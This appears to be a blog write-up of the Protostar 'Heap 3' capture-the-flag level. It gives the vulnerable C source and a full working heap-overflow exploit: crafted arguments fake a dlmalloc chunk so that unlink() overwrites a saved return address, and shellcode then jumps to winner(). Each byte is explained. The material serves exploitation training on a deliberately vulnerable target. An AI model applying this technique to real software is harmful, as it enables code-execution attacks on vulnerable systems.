(Btw, the source code given for Final 2 does not appear to completely match the binary. However, the key parts do appear to operate similarly and so should still be exploitable.)
Anyway, I thought I would write about Heap 3. I will just be presenting the solution while pointing out a couple of tricky parts. Going through the solution in detail would take up too much time and space.
Before that, below are a couple of articles that helped me understand heap overflows. I would say they are essential reading. The second article is directly relevant to Heap 3.
- w00w00 on Heap Overflows by Matt Conover (a.k.a. Shok) & w00w00 Security Team
- Vudo malloc tricks by Michel "MaXX" Kaempf
Now, let's get to Heap 3. The source code for this level is shown below:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
The objective is to redirect execution to the winner() function. The solution and output are as follows:Here's a brief explanation of the various values. I will be using several terms from the above-mentioned article by Maxx.user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap3 $(python -c 'print "\x41" * 32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\xbe\xba\xfe\xca" + "\x50\xf7\xff\xbf" + "\x60\xc0\x04\x08"') $(python -c 'print "\x90" * 8 + "\xeb\x0f" + "thisisjustjunk" + "\x90" * 2 + "\x68\x76\xdc\xea\xb7\x68\x64\x88\x04\x08\xc3"')dynamite failed?that wasn't too bad now, was it? @ 1339155574
- The 2nd \xfc\xff\xff\xff - this is the size field of the second chunk. Its least significant bit has to be a zero, which is provided by the 'c'. It tricks dlmalloc into thinking that the previous chunk is free, and activates the unlink() function. This also doubles up as the prev_size field of the fake chunk, which is also the start of the fake chunk.
- The 1st \xfc\xff\xff\xff - this is the prev_size field of the second chunk. This will be used by dlmalloc to calculate the location of the start of the fake chunk.
- \xbe\xba\xfe\xca - this is the babe in the cafe. well seriously, it can be 4 bytes of anything that doesn't break the exploit. It is the size field of the fake chunk, which isn't important here.
- \x50\xf7\xff\xbf - this is the address of the location you want to overwrite at, minus 12. This is one of the trickier parts I mentioned. Usually I would try to use the address of a relevant function pointer found in the GOT. In this case, I didn't manage to overwrite puts() successfully. So I used a location on the stack which contained the ret address. This location, found via gdb, is 0xbffff75c. Then, 0xbffff75c - 12 is 0xbffff750. Why is there a need to minus 12? Good question. And there's a great answer for it in Maxx's article. Subsequently, the value at this stack location will be popped into EIP, allowing us to redirect execution.
- \x60\xc0\x04\x08 - this is the value you want to overwrite with at the location above. Put simply, it is the location of your shellcode. Here, I used the address of buffer c + 8. Note that the + 8 may not be necessary. I put it in to address what appears to be an alignment issue, which could be due to me screwing up somewhere in the exploit.
Finally, we reach argv[3], which will be copied into buffer c. It contains our shellcode. The nops are really just acting as a buffer, to address any minor miscalculations I made. The \xeb\x0f is necessary to jump over the parts of the buffer that will be clobbered by the unlink() function. Again, please refer to Maxx's article for details. Usually, a \xeb\x0a would suffice. However, it seems (I did not investigate further) that \x0a is a bad character that screws up the exploit, hence I used \x0f instead.
The key part of the shellcode is simply:
- \x68\x76\xdc\xea\xb7 - push 0xb7eadc76. This was the original value from the stack location we performed the overwrite at. After executing winner(), we want it to return here and exit properly.
- \x68\x64\x88\x04\x08 - push 0x08048864, this is the location of winner(). winner()'s address can be found using objdump.
- \xc3 - retn